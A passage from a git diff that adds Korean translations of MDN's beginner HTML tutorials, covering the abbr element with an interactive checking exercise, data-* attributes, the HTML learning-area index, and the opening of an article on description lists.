+<p>Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our <a href="/en-US/docs/Web/Guide/HTML/Forms">full dedicated guide</a>. Here is where you should start:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/My_first_HTML_form">How to create a simple Web form</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/How_to_structure_an_HTML_form">How to structure a Web form</a></li>
+</ul>
+
+<h3 id="Tabular_information">Tabular information</h3>
+
+<p>Some information, called tabular data, needs to be organized into tables with columns and rows. It's one of the most complex HTML structures, and mastering it is not easy:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_a_data_spreadsheet">How to create a data spreadsheet</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Make_HTML_tables_accessible">How to make HTML tables accessible</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Optimize_HTML_table_rendering">How to optimize HTML table rendering</a></li>
+</ul>
+
+<h3 id="Data_representation">Data representation</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTMLHowto/Represent_numeric_values_with_HTML">How to represent numeric values with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Associate_human_readable_content_with_arbitrary_computer_data_structures">How to associate human readable content with arbitrary computer data structures</a></li>
+</ul>
+
+<h3 id="Interactivity">Interactivity</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_collapsible_content_with_HTML">How to create collapsible content with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_context_menus_to_a_webpage">How to add context menus to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_dialog_boxes_with_HTML">How to create dialog boxes with HTML</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Advanced_text_semantics">Advanced text semantics</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Take_control_of_HTML_line_breaking">How to take control of HTML line breaking</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Mark_text_insertion_and_deletion">How to mark changes (added and removed text)</a></li>
+</ul>
+
+<h3 id="Advanced_images_multimedia">Advanced images &amp; multimedia</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_responsive_image_to_a_webpage">How to add responsive image to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_vector_image_to_a_webpage">How to add vector image to a webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">How to add a hit map on top of an image</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_dynamic_and_interactive_images">How to create dynamic and interactive images</a></li>
+</ul>
+
+<h3 id="Internationalization">Internationalization</h3>
+
+<p>HTML is not monolingual. It provides tools to handle common internationalization issues.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_multiple_languages_into_a_single_webpage">How to add multiple languages into a single webpage</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Handle_Japanese_ruby_characters">How to handle Japanese ruby characters</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Display_time_and_date_with_HTML">How to display time and date with HTML</a></li>
+</ul>
+</div>
+</div>
+
+<p><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span> </p>
diff --git a/files/ko/learn/html/howto/mark_abbreviations_and_make_them_understandable/index.html b/files/ko/learn/html/howto/mark_abbreviations_and_make_them_understandable/index.html
new file mode 100644
index 0000000000..41c1697de3
--- /dev/null
+++ b/files/ko/learn/html/howto/mark_abbreviations_and_make_them_understandable/index.html
@@ -0,0 +1,267 @@
+---
+title: 약자 표시 및 이해시키는 방법
+slug: Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable
+tags:
+  - HTML
+  - 초보
+translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations
+---
+<div class="summary">
+<p>HTML은 독자가 이해할 수 있도록 해주는 약자를 표시해주는 단순하고 직관적인 방법을 제공합니다.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">먼저:</th>
+   <td><a href="/en-US/Learn/HTML/Write_a_simple_page_in_HTML">기초적인 HTML 문서 만들기</a>에 익숙해지셔야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>HTML로 어떻게 약자 및 두음문자를 표시하는지 알아봅시다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="약자에_대해">약자에 대해</h2>
+
+<p>항상 우리는 글을 쓸 때 약자나 두음문자를 사용합니다.('중화인민공화국'의 '중국'같이 짧게 적는 것이 약자, '아껴쓰고, 나눠쓰고, 바꿔쓰고, 다시쓰고'의 '아나바다'와 같이 첫 글자만 골라서 쓰는 것이 두음문자입니다.)</p>
+
+<p>We have to make sure that our readers can understand our abbreviations. In standard writing, it's really common to spell out the abbreviation only on its first occurrence, then just use the abbreviation everywhere:</p>
+
+<blockquote>유럽연합(UE)은 28 개의 주로, 합중국(US)은 50 개의 주로 이루어져 있습니다. US는 연방제 공화국, UE는 자치주들이 정치적, 경제적으로 결속한 집단입니다.</blockquote>
+
+<div>
+<p>이렇게 하면 모든 웹 페이지에 완전히 유효하지만, HTML은 독자들에게 약자를 설명하기 위한 부가적인 방법을 제공해줍니다.</p>
+</div>
+
+<h2 id="abbr_요소">abbr 요소</h2>
+
+<p><em>HTML 약자 요소</em> ({{HTMLElement("abbr")}})는 약자에 익숙하지 않거나 시각장애우같이 스크린 리더를 실행해야 하는 사람들을 돕기 위한 약자나 두음문자를 말합니다. 가장 중요한 규칙은, 가능한 언제든지 쓰라는 것입니다.</p>
+
+<div class="note">
+<p><strong>알림:</strong> <code>&lt;acronym&gt;</code> 요소에 대해 들어보셨겠지만, <code>&lt;acronym</code><code>&gt;</code>은 사장되었으므로 브라우저에서 언제든지 지원을 끊을 수 있기 때문에 사용하지 말아야 합니다.</p>
+</div>
+
+<pre class="brush: html">&lt;p&gt;I need to talk to you &lt;abbr&gt;ASAP&lt;/abbr&gt;.&lt;/p&gt;</pre>
+
+<p>이렇게 <code>title</code> 속성으로 약자를 설명할 수도 있습니다:</p>
+
+<pre class="brush: html">&lt;p&gt;I need to talk to you &lt;abbr title="as soon as possible"&gt;ASAP&lt;/abbr&gt;.&lt;/p&gt;</pre>
+
+<p>언제 <code>title</code> 속성을 적어야 할까요? 마음대로 시면 됩니다. It can be overkill to spell out a very common abbreviation like "ASAP" or an abbreviation used many times in your document. When in doubt, err on the side of providing the full description.</p>
+
+<div class="note">
+<p><strong>Note: </strong>In languages with grammatical number (especially languages with more than two numbers, like Arabic), use the same grammatical number in your <code>title</code> attribute as inside your <code>&lt;abbr&gt;</code> element.</p>
+</div>
+
+<p>{{glossary("CSS")}}로 약자를 가리키는 가시적인 정보를 추가, 변경, 제거하실 수 있습니다. 보통 마우스를 대면 브라우저가 <code>title</code> 속성의 콘텐츠를 툴팁으로 보여준다는 것도 기억하십시오. 이전의 예시대로 하면 이렇게 보여집니다:</p>
+
+<p>{{ EmbedLiveSample('The_abbr_element','100%',90) }}</p>
+
+<div class="note">
+<p><strong>중요: </strong>만약 사람들이 약자를 이해하는 것을 따진다면, <strong>절대로</strong> <code>title</code> 속성에 의존하지 마세요. Spell your abbreviation out in the text on first occurrence. 툴팁에 접근하려면 마우스가 필요합니다. 이것은 폰이나 키보드, 스크린 리더를 쓰는 사람들을 배제합니다.</p>
+</div>
+
+<h2 id="실전">실전</h2>
+
+<p>{{HTMLElement('abbr')}}에 대해 알아봅시다. 이 글 바로 밑에 약자를 <code>&lt;abbr&gt;</code>로 표시하고 <code>title</code> 속성으로 설명합니다. 다 했으면 잘 되었는지 보기 위해 "show results"를 눌러봅시다. <a href="/en-US/docs/Glossary">용어 사전</a>에서 모든 약자들을 보실 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="exercise"&gt;
+  &lt;main&gt;
+    &lt;div class="instruction"&gt;Mark all the abbreviations with the &lt;code&gt;&amp;lt;abbr&amp;gt;&lt;/code&gt; element&lt;/div&gt;
+    &lt;div class="playground"&gt;&lt;textarea spellcheck="false"&gt;&lt;/textarea&gt;&lt;/div&gt;
+    &lt;div class="checking"&gt;
+      &lt;button&gt;Show results&lt;/button&gt;&lt;span class="count"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div class="result"&gt;Web &lt;abbr title="developers"&gt;dev.&lt;/abbr&gt; use &lt;abbr title="Hypertext Markup Language"&gt;HTML&lt;/abbr&gt; to structure documents, &lt;abbr title="Cascading StyleSheet"&gt;CSS&lt;/abbr&gt; to style them, and JavaScript to add special effects by using some dedicated &lt;abbr title="Application Programming Interface"&gt;API&lt;/abbr&gt;s.&lt;/div&gt;
+  &lt;/main&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">body {
+  font: 1em/100% sans-serif;
+  padding: 0;
+  margin: 0;
+}
+
+.exercise {
+  background: #F9FAFB;
+  border-radius: 5px;
+  height: 13em;
+  overflow: hidden;
+}
+
+.instruction, .count {
+  padding: .5em;
+  font-style: italic;
+  font-size: .95em;
+}
+
+.playground {
+  padding: 0 .5em;
+}
+
+.playground textarea {
+  display: block;
+  font-size : 1em;
+  line-height: 1.5em;
+  font-family: monospace;
+  box-sizing: border-box;
+  width     : 100%;
+  padding   : .5em;
+  height    : 9.7em;
+}
+
+.checking {
+  padding: .5em;
+}
+
+.checking button {
+  box-sizing: border-box;
+  box-shadow:inset 0 1px 0 0 #bcd9a3;
+  background:linear-gradient(to bottom, #b4d665 5%, #89a646 100%);
+  background-color:#b4d665;
+  border-radius:5px;
+  border:1px solid #8aa164;
+  cursor:pointer;
+  font-size:1em;
+  padding:.5em;
+  text-decoration:none;
+}
+.checking button:hover {
+  background:linear-gradient(to bottom, #89a646 5%, #b4d665 100%);
+  background-color:#89a646;
+}
+.checking button:active {
+  transform: translate(0, 1px);
+}
+
+.result {
+  height: 10em;
+  line-height: 1.4em;
+  padding: .5em;
+  box-sizing: border-box;
+}
+
+main {
+  transform: translate(0,0);
+  transition: transform 300ms;
+}
+
+.next main {
+  transform: translate(0, -10em);
+}
+
+abbr {
+  display: inline-block;
+  white-space: nowrap;
+}
+
+abbr.ok {
+  color: green;
+}
+
+abbr.ok:after {
+  content: ' ✔︎';
+}
+
+abbr.fail {
+  color: red;
+}
+
+abbr.fail:after {
+  content: ' ✘';
+}
+
+abbr.warning {
+  color: orange;
+}
+
+abbr.warning:after {
+  content: ' !';
+  font-weight: bold;
+}
+</pre>
+
+<pre class="brush: js">window.addEventListener('load', function () {
+  var content = document.querySelector('.exercise');
+  var input   = document.querySelector('.playground textarea');
+  var button  = document.querySelector('.checking button');
+  var message = document.querySelector('.checking .count');
+  var abbr    = Array.prototype.slice.call(document.querySelectorAll('.result abbr'));
+  var data    = {
+    pass : 0, fail : 0, warning : 0
+  };
+
+  input.value = document.querySelector('.result').textContent;
+
+  function toggleResult(e) {
+    e.preventDefault();
+    var classList = content.className.split(' ');
+
+    if (classList.length === 1 &amp;&amp; checkResult()) {
+      content.className = 'exercise next';
+      message.innerHTML = 'Get '  + data.pass    + ', ' +
+                          'Get '  + data.warning + ' without full description, ' +
+                          'Miss ' + data.fail    + '.';
+      button.innerHTML  = 'Try again';
+    } else {
+      content.className = 'exercise';
+      message.innerHTML = '';
+      button.innerHTML  = 'Show results';
+    }
+  }
+
+  function checkResult() {
+    var i, j, node = document.createElement('div');
+    node.innerHTML = input.value;
+    data = { pass : 0, fail : 0, warning : 0 };
+
+    var userAbbr = Array.prototype.slice.call(node.querySelectorAll('abbr'));
+
+    if (userAbbr.length === 0) {
+      alert("You haven't marked any abbreviations (there are " + abbr.length + " to find).");
+      return false;
+    }
+
+    for (i in abbr) {
+      var txt  = abbr[i].textContent;
+      var fail = true;
+
+      for (j in userAbbr) {
+        var userText = userAbbr[j].textContent;
+
+        if (userText.match(new RegExp('^\\s*' + txt.replace('.','') + '\\s*$'))) {
+          fail = false;
+          if (userAbbr[j].title) {
+            data.pass += 1;
+            abbr[i].className = 'ok';
+          } else {
+            data.warning += 1;
+            abbr[i].className = 'warning';
+          }
+        }
+      }
+
+      if (fail) {
+        data.fail += 1;
+        abbr[i].className = 'fail';
+      }
+    }
+
+    return true;
+  }
+
+  button.addEventListener('click', toggleResult);
+});
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Exercise','100%',220) }}</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li>{{HTMLElement("abbr")}} 참고 문서.</li>
+</ul>
diff --git a/files/ko/learn/html/howto/데이터_속성_사용하기/index.html b/files/ko/learn/html/howto/데이터_속성_사용하기/index.html
new file mode 100644
index 0000000000..d4abd5da57
--- /dev/null
+++ b/files/ko/learn/html/howto/데이터_속성_사용하기/index.html
@@ -0,0 +1,82 @@
+---
+title: 데이터 속성 사용하기
+slug: Learn/HTML/Howto/데이터_속성_사용하기
+tags:
+  - HTML
+  - HTML5
+  - 가이드
+  - 예제
+  - 웹
+  - 전용 데이터 속성
+translation_of: Learn/HTML/Howto/Use_data_attributes
+---
+<div>{{LearnSidebar}}</div>
+
+<p><a href="/en-US/docs/Web/Guide/HTML/HTML5" title="/en-US/docs/Web/Guide/HTML/HTML5">HTML5</a> 특정 요소와 연관되어 있지만 확정된 의미는 갖지 않는 데이터에 대한 확장 가능성을 염두에 두고 디자인되었습니다. <a href="/en-US/docs/Web/HTML/Global_attributes#attr-dataset"><code>data-*</code> 속성</a>은 표준이 아닌 속성이나 추가적인 DOM 속성, {{domxref("Node.setUserData()")}}과 같은 다른 조작을 하지 않고도, 의미론적 표준 HTML 요소에 추가 정보를 저장할 수 있도록 해줍니다.</p>
+
+<h2 id="HTML_문법">HTML 문법</h2>
+
+<p>문법은 간단합니다. 어느 엘리멘트에나 <code>data-</code>로 시작하는 속성은 무엇이든 사용할 수 있습니다. 화면에 안 보이게 글이나 추가 정보를 엘리멘트에 담아 놓을 수 있어요. 아래 <code>data</code> 사용법이 있습니다:</p>
+
+<pre class="brush: html">&lt;article
+  id="electriccars"
+  data-columns="3"
+  data-index-number="12314"
+  data-parent="cars"&gt;
+...
+&lt;/article&gt;</pre>
+
+<h2 id="JavaScript_에서_접근하기">JavaScript 에서 접근하기</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a> 에서 이 속성 값들을 읽는 방법은 너무 간단합니다. 값을 읽기 위한 완전한 HTML 이름과 함께 {{domxref("Element.getAttribute", "getAttribute()")}} 를 사용하면 됩니다. 그러나 표준은 더 간단한 방법을 정의합니다.:  {{domxref("DOMStringMap")}} 는 {{domxref("HTMLElement.dataset", "dataset")}} 속성을 통해 읽어낼 수 있습니다.</p>
+
+<p><code>dataset</code> 객체를 통해 <code>data</code> 속성을 가져오기 위해서는 속성 이름의 <code>data-</code> 뒷 부분을 사용합니다.(대시들은 camelCase로 변환되는 것에 주의하세요.) </p>
+
+<pre class="brush: js">var article = document.getElementById('electriccars');
+
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "cars"</pre>
+
+<p>각 속성은 문자열이며 읽거나 쓸 수 있습니다. 위의 경우에서 <code>article.dataset.columns = 5</code>와 같이 설정하면 해당 속성을 <code>"5"</code>로 변경할 것입니다.</p>
+
+<h2 id="CSS_에서_접근하기">CSS 에서 접근하기</h2>
+
+<p>데이터 속성은 순 HTML 속성이기 때문에 <a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a>에서도 접근할 수 있다는 것에 주목하세요. 예를 들어, 부모 데이터를 article에서 보여주려면 {{cssxref("attr")}} 함수의 <a href="/en-US/docs/Web/CSS/content" title="/en-US/docs/Web/CSS/content">생성된 content</a> 를 사용하면 됩니다.:</p>
+
+<pre class="brush: css">article::before {
+  content: attr(data-parent);
+}</pre>
+
+<p>CSS의 <a href="/en-US/docs/Web/CSS/Attribute_selectors" title="/en-US/docs/Web/CSS/Attribute_selectors">속성 선택자</a>도 데이터에 따라 스타일을 바꾸는데 사용할 수 있습니다.:</p>
+
+<pre class="brush: css">article[data-columns='3'] {
+  width: 400px;
+}
+article[data-columns='4'] {
+  width: 600px;
+}</pre>
+
+<p><a href="http://jsbin.com/ujiday/2/edit">이 JSBin 예시</a>에서 이들이 함께 작동하는 것을 볼 수 있습니다. </p>
+
+<p>데이터 속성들은 게임 점수와 같이 계속 변하는 정보도 저장할 수 있습니다. CSS선택자와 자바스크립트 접근을 이용해서 display 규칙을 사용하지 않고도 훌륭한 효과를 만들 수도 있습니다. 생성된 content와 CSS transition의 예시를 보려면 <a href="http://www.youtube.com/watch?v=On_WyUB1gOk">이 screencast</a> 를 확인하세요. (<a href="http://jsbin.com/atawaz/3/edit">JSBin 예시</a>).</p>
+
+<p><span style="line-height: 16.7999992370605px;">데이터 값은 문자열입니다. 스타일을 적용하려면 숫자 값은 선택자에 따옴표 안에 써주어야 합니다.</span></p>
+
+<h2 id="문제점">문제점</h2>
+
+<p>보여야 하고 접근 가능해야하는 내용은 데이터 속성에 저장하지 마세요. 접근 보조 기술이 접근할 수 없기 때문입니다. 또한 검색 크롤러가 데이터 속성의 값을 찾지 못할 것입니다.</p>
+
+<p>고려해야할 주요한 문제는 인터넷 익스플로러의 지원과 성능입니다. 인터넷 익스플로러11+ 은 표준을 지원하지만, 이전 버전들은 <a href="http://caniuse.com/#feat=dataset"><code>dataset</code>을 지원하지 않습니다</a>. IE 10 이하를 지원하기 위해서는 대신 {{domxref("Element.getAttribute", "getAttribute()")}}를 통해 데이터 속성을 접근해야 합니다. 또한, JS 데이터 저장소에 저장하는 것과 비교해서 <a href="http://jsperf.com/data-dataset">데이터 속성 읽기의 성능</a>은 저조합니다.</p>
+
+<p>하지만 이 때문에, 커스텀 요소와 관련된 메타 데이터를 위해서는 훌륭한 해결책입니다.</p>
+
+<p>Firefox 49.0.2(아마도 이전/이후의 버전)에서는,1022 데이터를 초과하는 데이터 속성은 자바스크립트(EcmaScript 4)가 읽지 못할 것입니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li>This article is adapted from <a href="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/" title="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/">Using data attributes in JavaScript and CSS on hacks.mozilla.org</a>.</li>
+ <li>Custom attributes are also supported in SVG 2; see {{domxref("SVGElement.dataset")}} and {{SVGAttr("data-*")}} for more information.</li>
+ <li><a href="http://www.sitepoint.com/use-html5-data-attributes/">How to use HTML5 data attributes</a> (Sitepoint)</li>
+</ul>
diff --git a/files/ko/learn/html/index.html b/files/ko/learn/html/index.html
new file mode 100644
index 0000000000..11776aba33
--- /dev/null
+++ b/files/ko/learn/html/index.html
@@ -0,0 +1,53 @@
+---
+title: HTML
+slug: Learn/HTML
+tags:
+  - Beginner
+  - HTML
+  - 입문자
+translation_of: Learn/HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">웹사이트를 만들기 위해서는 웹 페이지 구조 정의의 토대가 되는 기술인 {{Glossary('HTML')}}에 대해 알아야 합나다. HTML은 작성하고자 하는 웹 콘텐츠가 문단인지, 리스트인지, 헤드라인인지, 링크인지, 이미지인지, 멀티미디어 플레이어인지, 폼 요소인지 아니면 기타 사용 가능한 다른 요소들 중의 하나인지, 혹은 새롭게 정의한 요소인지를 명확하기 인지할 수 있도록 하는데 사용됩니다.</p>
+
+<h2 id="학습_방향">학습 방향</h2>
+
+<p>HTML을 배우면서 시작하는 것이 가장 이상적입니다. <a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML에 대한 소개</a>를 읽는 것부터 시작하세요. 그러면, 아래와 같은 고급 주제에 대해 배울 수 있게 될 것입니다. </p>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS">CSS</a>, 그리고 HTML에 스타일을 적용하는 방법 (예를 들어, 사용된 텍스트 크기나 폰트를 변경하고, 테두리 선, 그림자 효과를 추가하고, 페이지의 레이아웃을 다단으로 편집하고, 애니메이션이나 다른 시각적인 효과를 추가할 수 있습니다.)</li>
+ <li><a href="/ko/docs/Learn/JavaScript">JavaScript</a>, 그리고 웹 페이지에 동적인 기능을 추가하는 방법 (예를 들어, 현재 위치를 찾아 지도 위에 표시하고, 버튼을 누를 때 마다 UI 요소를 노출하거나 숨길 수 있고, 사용자의 데이터를 로컬 시스템에 저장하는 것 등의 방법을 알 수 있습니다.)</li>
+</ul>
+
+<p>이 주제를 학습하기에 앞서, 최소한 콘텐츠를 보면서 웹서핑하는 정도의 기초적인 컴퓨터 사용에 익숙해야 합니다. <a href="/ko/docs/Learn/Getting_started_with_the_web/기본_소프트웨어_설치하기">기본적인 소프트웨어를 설치</a>하여 작업환경의 기초를 설정하고, <a href="/ko/docs/Learn/Getting_started_with_the_web/파일들_다루기">파일을 다뤄보면서</a> 파일을 생성하고 관리하는 방법을 이해해야 합니다. 이 두 가지가 모두 초보자가 <a href="/ko/docs/Learn/Getting_started_with_the_web">웹을 정복하기 위한 기본</a>이 됩니다.</p>
+
+<p>이 주제를 공부하기 전에 <a href="/ko/docs/Learn/Getting_started_with_the_web">웹에 대한 기본 학습</a>을 추천하지만, 필수는 아닙니다. <a href="/ko/docs/Learn/Getting_started_with_the_web/HTML_기본">HTML의 기본</a>에서 다루는 대부분의 내용이 우리가 배우게 될 <a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a>에도 포함되어 있기는 하지만 좀 더 자세하게 다루고 있습니다.</p>
+
+<h2 id="구성">구성</h2>
+
+<p>이 주제는 각 단계를 통해 배울 수 있도록 미리 마련해 둔 아래와 같은 순서로 구성되어 있습니다. 첫 단계부터 순서대로 진행하길 바랍니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a></dt>
+ <dd>이 과정은 중요한 컨셉과 구문을 배우게 되는 단계로 텍스트에 HTML을 적용하고, 파이퍼 링크를 추가하는 방법, HTML을 이용하여 웹 페이지의 구조를 작성하는 방법을 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Multimedia_and_embedding">멀티미디어 요소 추가하기(embedding)</a></dt>
+ <dd>이 과정은 웹페이지에 HTML을 이용하여 멀티미디어 요소를 추가하는 방법, 이미지를 추가할 수 있는 다른 방법들, 그리고 비디오, 오디오, 혹은 다른 웹페이지를 삽입하는 방법을 살펴봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Forms">HTML 폼 요소</a></dt>
+ <dd>폼 요소는 웹에서 굉장히 중요합니다. 폼 요소는 회원가입, 로그인, 피드백 보내기, 물건 구입과 같이 웹사이트와 상호작용하는데 필요한 굉장히 많은 기능을 제공합니다. 이 과정은 폼 요소의 클라이언트 측 요소를 만드는 것으로 시작됩니다.</dd>
+ <dt>테이블(TBD)</dt>
+ <dd>웹페이지에 표 형태의 데이터를 이해 가능하고, {{glossary("Accessibility", "접근")}}할 수 있는 방법으로 표현하는 것은 도전이 될 수 있습니다. 이 과정은 좀 더 세부적인 기능인 캡션(caption)과 요약(summary)를 적용하는 방법과 함께 테이블 마크업의 기본을 다룹니다.</dd>
+</dl>
+
+<h2 id="일반적인_HTML_문제_해결하기">일반적인 HTML 문제 해결하기</h2>
+
+<p>타이틀 다루기, 이미지, 비디오 강조된 콘텐츠, 기본 폼 요소 만들기 등 웹페이지를 만들때 생기는 <a href="/ko/docs/Learn/HTML/Howto">일반적인 문제들을 해결하기 위해 HTML을 이용</a>하는 방법을 설명하고 있는 콘텐츠 링크를 제공합니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<div class="document-head" id="wiki-document-head">
+<dl>
+ <dt><a href="/ko/docs/Web/HTML">MDN HTML (HyperText Markup Language)</a></dt>
+ <dd>요소와 속성에 대한 상세한 설명을 담고 있는 MDN의 HTML 문서를 참고하는 것은 좋은 출발점입니다. 요소가 어떤 속성을 가지고 있는지, 어떤 값과 속성을 사용할 수 있는지를 알고 싶다면, 큰 도움이 될 것입니다.</dd>
+</dl>
+</div>
diff --git a/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.html
new file mode 100644
index 0000000000..3bf2b758d7
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.html
@@ -0,0 +1,478 @@
+---
+title: Advanced text formatting
+slug: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting
+translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">텍스트 서식에 있어서  <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a> 에서 이야기 하지 않은 수많은 요소들이 있습니다. 이 글에서 설명하는 요소들은 비교적 많이 알려져 있지않지만 여전히 유용합니다. (그리고 이것은 완전한 목록이 아닙니다.). 이 글에서 여러분은 인용구, 서술문, 컴퓨터 코드 및 관력 텍스트, 첨자, 위첨자, 연락처 정보 등을 표시하는 방법에 대해 알아봅시다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">요구 기술:</th>
+   <td><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a> 에 설명된 기본적인 HTML 숙련도. <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a> 에서 설명하는 텍스트 포맷팅에 대한 지식.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>
+    <p>비교적 알려지지 않은 HTML 요소들을 사용하여 고급 시맨틱 기능을 사용하여 HTML을 구성하는 방법을 학습합니다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Description_lists">Description lists</h2>
+
+<p><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a> 에서 <a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">mark up basic lists</a> 를 볼 수 있습니다. 하지만 해당 글에는 여러분이 앞으로 종종 마주할 세 번째 리스트 타입인 <strong>description lists</strong>에 대해선 언급하지 않았습니다. 이 리스트의 목적은 용어 및 정의, 질문 및 답변과 같은 일련의 항목 및 관련 설명을 표시하는 것입니다.  아래의 예시를 살펴봅시다.</p>
+
+<pre class="notranslate">soliloquy
+In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
+monologue
+In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
+aside
+In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information</pre>
+
+<p>Description lists 는 다른 타입의 리스트와 다르게 {{htmlelement("dl")}} 태그를 사용합니다. 용어, 질문과 같은 상위 항목은 {{htmlelement("dt")}} (description term) 요소를 사용하고,\ 정의, 답변과 같은 하위 항목은 {{htmlelement("dd")}} (description definition) 요소를 사용합니다. 이해를 돕기위해 아래의 마크업 예시가 준비되어 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;dl&gt;
+  &lt;dt&gt;soliloquy&lt;/dt&gt;
+  &lt;dd&gt;In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)&lt;/dd&gt;
+  &lt;dt&gt;monologue&lt;/dt&gt;
+  &lt;dd&gt;In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.&lt;/dd&gt;
+  &lt;dt&gt;aside&lt;/dt&gt;
+  &lt;dd&gt;In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.&lt;/dd&gt;
+&lt;/dl&gt;</pre>
+
+<p>브라우저에서 제공하는 기본 스타일에 의해서 정의, 답변과 같은 하위 항목에 대해서 들여쓰기가 적용됩니다.  현재 보고계시는 description list 는 MDN에서 제공하는 스타일이 적용되어 있습니다. 이는 브라우저에서 제공하는 기본 스타일과 매우 유사하게 정의 되어 있습니다만, 추가적으로 정의된 스타일입니다.</p>
+
+<dl>
+ <dt>soliloquy</dt>
+ <dd>In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd>
+ <dt>monologue</dt>
+ <dd>In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd>
+ <dt>aside</dt>
+ <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.</dd>
+ <dt></dt>
+</dl>
+
+<p>아래의 예시와 같이 하나의 <code>&lt;dt&gt;</code> 에는 여러개의 <code>&lt;dd&gt;</code> 가 존재할 수 있습니다. </p>
+
+<pre class="notranslate">&lt;dl&gt;
+  &lt;dt&gt;aside&lt;/dt&gt;
+  &lt;dd&gt;In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought, or piece of additional background information.&lt;/dd&gt;
+  &lt;dd&gt;In writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)&lt;/dd&gt;
+&lt;/dl&gt;</pre>
+
+<dl>
+ <dt>aside</dt>
+ <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.</dd>
